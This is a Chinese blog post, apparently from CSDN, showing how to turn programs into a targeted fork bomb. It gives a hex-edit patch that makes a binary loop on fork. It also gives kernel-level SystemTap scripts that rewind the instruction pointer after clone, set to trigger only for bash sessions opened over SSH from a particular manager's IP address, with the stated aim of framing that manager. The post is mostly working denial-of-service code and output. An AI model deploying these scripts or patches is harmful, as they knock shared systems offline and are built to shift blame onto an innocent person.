制作一枚有针对性的fork炸弹

恕我不再赘述bash实现的fork炸弹。

我们看看把一个内部调用了fork的平常的程序制作成一枚fork炸弹是多么的简单。先看代码:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    
    
  if (fork() == 0) {
    
    
    printf("I am child\n");
    exit(0);
  }
  printf("I am parent\n");
  return 0;
}

编译:

[root@localhost test]# gcc -O0 fbomb.c -o fbomb

导出并查看fork调用的指令:

[root@localhost test]# objdump -D ./fbomb >./fbomb.dump
[root@localhost test]# cat ./fbomb.dump |grep -B5 -A5 call.*fork
  4005ad:	55                   	push   %rbp
  4005ae:	48 89 e5             	mov    %rsp,%rbp
  4005b1:	48 83 ec 10          	sub    $0x10,%rsp
  4005b5:	89 7d fc             	mov    %edi,-0x4(%rbp)
  4005b8:	48 89 75 f0          	mov    %rsi,-0x10(%rbp)
  4005bc:	e8 df fe ff ff       	callq  4004a0 <fork@plt>
  4005c1:	85 c0                	test   %eax,%eax
  4005c3:	75 14                	jne    4005d9 <main+0x2c>
  4005c5:	bf 80 06 40 00       	mov    $0x400680,%edi
  4005ca:	e8 a1 fe ff ff       	callq  400470 <puts@plt>
  4005cf:	bf 00 00 00 00       	mov    $0x0,%edi

注意到4005bc指向的call下面是fork调用的惯用范式,即判断是0还是非0,于是我们的改法非常简单:

  • 将4005c3改成JC(0x72) rel8(s8 offset):0x72 0xf7(即-9)

其实如今很少有C库会直接调用fork系统调用了,一般使用的都是clone。

那么下面就是改法:

# 用vim的xxd来修改二进制
[root@localhost test]# vim -b ./fbomb
...
./fbomb
:%!xxd

根据objdump的结果找到地址0005bc附近:

000005c0: ff85 c075(here) 14(and here)bf 8006 4000 e8a1 feff ffbf

将其改成:

000005c0: ff85 c072(here) f7(and here)bf 8006 4000 e8a1 feff ffbf

保存:

...
./fbomb [+]
:%!xxd -r

确认一下,看看修改有没有成功:

[root@localhost test]# cat ./fbomb.dump2 |grep -B3 -A3 call.*fork
  4005b1:	48 83 ec 10          	sub    $0x10,%rsp
  4005b5:	89 7d fc             	mov    %edi,-0x4(%rbp)
  4005b8:	48 89 75 f0          	mov    %rsi,-0x10(%rbp)
  4005bc:	e8 df fe ff ff       	callq  4004a0 <fork@plt>
  4005c1:	85 c0                	test   %eax,%eax
  4005c3:	72 f7                	jb     4005bc <main+0xf>
  4005c5:	bf 80 06 40 00       	mov    $0x400680,%edi

OK,修改成功,程序已经成了fork炸弹。这里就不演示了,这玩意儿没法演示。

让我们接着说。

能不能对bash动手呢?当然可以!

[root@localhost test]# objdump -D /bin/bash >./bash.dump
[root@localhost test]# cat ./bash.dump |grep -A5 -B5 call.*fork
  4415ea:	44 89 f7             	mov    %r14d,%edi
  4415ed:	e8 5e a4 fd ff       	callq  41ba50 <sleep@plt>
  4415f2:	85 c0                	test   %eax,%eax
  4415f4:	0f 85 06 01 00 00    	jne    441700 <make_child@@Base+0x1f0>
  4415fa:	45 01 f6             	add    %r14d,%r14d
  4415fd:	e8 7e a4 fd ff       	callq  41ba80 <fork@plt>
  441602:	85 c0                	test   %eax,%eax
  441604:	89 c3                	mov    %eax,%ebx
  441606:	78 b8                	js     4415c0 <make_child@@Base+0xb0>
  441608:	0f 85 2b 01 00 00    	jne    441739 <make_child@@Base+0x229>
  44160e:	66 90                	xchg   %ax,%ax

差不多一样的套路。但是我们不能直接把bash改了啊,因此只能动用systemtap,在内核里捣鼓一些策略了。

bash并不会直接调用fork/clone,而是通过C库进行的,因此我们看下C库是怎么做的:

[root@localhost test]# objdump -D /lib64/libc.so.6 >./libc.dump
...

下面是关于clone调用的发起步骤:

284431 00000000000fde40 <__clone>:
 284432    fde40:   48 c7 c0 ea ff ff ff    mov    $0xffffffffffffffea,%rax
 284433    fde47:   48 85 ff                test   %rdi,%rdi
 284434    fde4a:   74 69                   je     fdeb5 <__clone+0x75>
 284435    fde4c:   48 85 f6                test   %rsi,%rsi
 284436    fde4f:   74 64                   je     fdeb5 <__clone+0x75>
 284437    fde51:   48 83 ee 10             sub    $0x10,%rsi
 284438    fde55:   48 89 4e 08             mov    %rcx,0x8(%rsi)
 284439    fde59:   48 89 3e                mov    %rdi,(%rsi)
 284440    fde5c:   48 89 d7                mov    %rdx,%rdi
 284441    fde5f:   4c 89 c2                mov    %r8,%rdx
 284442    fde62:   4d 89 c8                mov    %r9,%r8
 284443    fde65:   4c 8b 54 24 08          mov    0x8(%rsp),%r10
 284444    fde6a:   b8 38 00 00 00          mov    $0x38,%eax
 284445    fde6f:   0f 05                   syscall

我们已经知道要怎么做了:

  • 在clone系统调用返回前,将父子进程的rip修改为clone系统调用本身就是了,也就是rip地址倒退12字节或者28字节,达到clone调用准备参数的起点位置。

OK,下面是stap脚本:

#!/usr/local/bin/stap -g

function do_it(p:long)
%{
    
    
	struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
	struct pt_regs *regs;

	if (strcmp(tsk->comm, "fbomb"))
		return;

	regs = task_pt_regs(tsk);
	regs->ip -= 12;
%}

// hook 资进程
probe kernel.function("copy_thread").return
{
    
    
	do_it(@entry($p))
}

// hook 当前父进程
probe kernel.function("sys_clone").return
{
    
    
	if ($return > 0)
		do_it(task_current())
}

OK,基本框架已经完事。可以那我最初的fbomb二进制程序试一下。

现在,让我们加点策略:

  • 只有来自192.168.56.101这个经理的机器ssh到的bash,执行bash程序时才会bomb。这样就可以嫁祸于经理了!

还记得之前我写的TCP连接和进程之间的关联机制吗?
https://blog.csdn.net/dog250/article/details/108134813
基于它我们就可以判断是不是经理在执行bash了。

下面是代码:

#!/usr/local/bin/stap -g

%{
    
    
#include <net/tcp.h>
#include <linux/fdtable.h>

static inline void ip2str(char *to, unsigned int from)
{
    
    
	int size = snprintf(to, 16, "%pI4", &from);
	to[size] = '\0';
}
%}

function do_it(p:long)
%{
    
    
	struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
	struct task_struct *parent;
	struct file *file;
	struct socket *sock;
	struct sock *sk;
	char raddr[16];
	struct pt_regs *regs;

	if (strcmp(tsk->comm, "bash"))
		return;

	parent = tsk->parent;
	if (strcmp(parent->comm, "sshd"))
		return;

	file = parent->files->fdt->fd[3];// 一般都是3,为了节省代码篇幅,硬编码了!
	sock = (struct socket *)file->private_data;
	sk = sock->sk;

	ip2str(raddr, inet_sk(sk)->inet_daddr);

	if (strcmp(raddr, "192.168.56.101"))
		return;

	regs = task_pt_regs(tsk);
	regs->ip -= 12;
%}

probe kernel.function("copy_thread").return
{
    
    
	do_it(@entry($p))
}

probe kernel.function("sys_clone").return
{
    
    
	if ($return > 0)
		do_it(task_current())
}

下面是经理机器上bash的效果:

[root@localhost ~]# ls
# 回车已经没有了反应...
# 其它终端也没了反应,大家纷纷在说就是因为经理登录才这样子的...
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable

嗯,是的,就是经理。

又有人说我是因为有root才能这样的,我说大部分人给了root也做不到,不信你去考验一下。

本来就是闹着玩。


浙江温州皮鞋湿,下雨进水不会胖。

猜你喜欢

转载自blog.csdn.net/dog250/article/details/108500135